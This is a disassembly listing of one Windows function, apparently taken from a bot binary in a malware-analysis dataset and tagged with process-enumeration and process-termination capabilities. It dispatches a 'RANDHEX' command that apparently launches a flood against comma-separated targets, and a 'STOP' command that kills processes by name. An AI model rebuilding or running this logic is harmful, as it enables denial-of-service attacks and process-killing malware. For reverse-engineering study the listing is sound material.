Function at 0x40243f
Capabilities:
Enumerate process modules
Terminate process

Disassembly:
push rbp
mov eax, 0x1180
call fcn.00404270
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x1110], ecx
mov qword [rbp + 0x1118], rdx
mov rax, qword [rbp + 0x1118]
mov rax, qword [rax]
lea rdx, str.RANDHEX
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x4025fe
cmp dword [rbp + 0x1110], 3
jle 0x4027b0
mov rax, qword [rbp + 0x1118]
add rax, 0x10
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
test eax, eax
jle 0x4027b0
mov rax, qword [rbp + 0x1118]
add rax, 0x18
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
test eax, eax
jle 0x4027b0
mov rax, qword [rbp + 0x1118]
mov rax, qword [rax + 8]
mov qword [rbp + 0x10c8], rax
mov rax, qword [rbp + 0x1118]
add rax, 0x10
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov dword [rbp + 0x10c4], eax
mov rax, qword [rbp + 0x1118]
add rax, 0x18
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov dword [rbp + 0x10c0], eax
mov rax, qword [rbp + 0x10c8]
mov edx, 0x2c
mov rcx, rax
call sym.strchr
test rax, rax
je 0x4025bb
mov rax, qword [rbp + 0x10c8]
lea rdx, [0x00413121]
mov rcx, rax
call sym.strtok
mov qword [rbp + 0x10f0], rax
jmp 0x4025ac
mov rax, qword [0x00418050]
mov edx, eax
mov rax, qword [0x00418048]
mov rcx, rax
call sym.listFork
test eax, eax
je 0x402591
mov ecx, dword [rbp + 0x10c0]
mov edx, dword [rbp + 0x10c4]
mov rax, qword [rbp + 0x10f0]
mov r8d, ecx
mov rcx, rax
call sym.Randhex
jmp 0x4027ba
lea rax, [0x00413121]
mov rdx, rax
mov ecx, 0
call sym.strtok
mov qword [rbp + 0x10f0], rax
cmp qword [rbp + 0x10f0], 0
jne 0x402552
jmp 0x4024cc
mov rax, qword [0x00418050]
mov edx, eax
mov rax, qword [0x00418048]
mov rcx, rax
call sym.listFork
test eax, eax
je 0x4027b3
mov ecx, dword [rbp + 0x10c0]
mov edx, dword [rbp + 0x10c4]
mov rax, qword [rbp + 0x10c8]
mov r8d, ecx
mov rcx, rax
call sym.Randhex
jmp 0x4027ba
mov rax, qword [rbp + 0x1118]
mov rax, qword [rax]
lea rdx, str.STOP
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x4027b6
mov dword [rbp + 0x10fc], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x10ec], eax
mov qword [rbp + 0x10e0], 0
mov dword [rbp + 0x10dc], 0
lea rdx, [rbp + 0x10bc]
lea rax, [rbp + 0xb0]
mov r8, rdx
mov edx, 0x1000
mov rcx, rax
call sym.K32EnumProcesses
test eax, eax
je 0x4027b9
mov eax, dword [rbp + 0x10bc]
shr eax, 2
mov dword [rbp + 0x10dc], eax
mov eax, dword [rbp + 0x10dc]
shl rax, 2
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x10e0], rax
mov dword [rbp + 0x10f8], 0
jmp 0x40278d
mov eax, dword [rbp + 0x10f8]
mov eax, dword [rbp + rax*4 + 0xb0]
test eax, eax
je 0x402786
mov eax, dword [rbp + 0x10f8]
mov eax, dword [rbp + rax*4 + 0xb0]
cmp dword [rbp + 0x10ec], eax
je 0x402786
mov eax, dword [rbp + 0x10f8]
mov eax, dword [rbp + rax*4 + 0xb0]
mov r8d, eax
mov edx, 0
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x10d0], rax
cmp qword [rbp + 0x10d0], 0
je 0x402786
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x10d0]
mov r9d, 0x104
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.K32GetModuleFileNameExA
test eax, eax
je 0x402773
mov rax, qword [rbp + 0x1118]
add rax, 0x10
mov rdx, qword [rax]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.strstr
test rax, rax
je 0x402773
mov rax, qword [rbp + 0x10d0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
test eax, eax
je 0x402773
add dword [rbp + 0x10fc], 1
mov rax, qword [rbp + 0x10d0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
add dword [rbp + 0x10f8], 1
mov eax, dword [rbp + 0x10f8]
cmp eax, dword [rbp + 0x10dc]
jb 0x4026aa
mov rax, qword [rbp + 0x10e0]
mov rcx, rax
call sym.free
jmp 0x4027b6
nop
jmp 0x4027ba
nop
jmp 0x4027ba
nop
jmp 0x4027ba
nop
add rsp, 0x1180
pop rbp
ret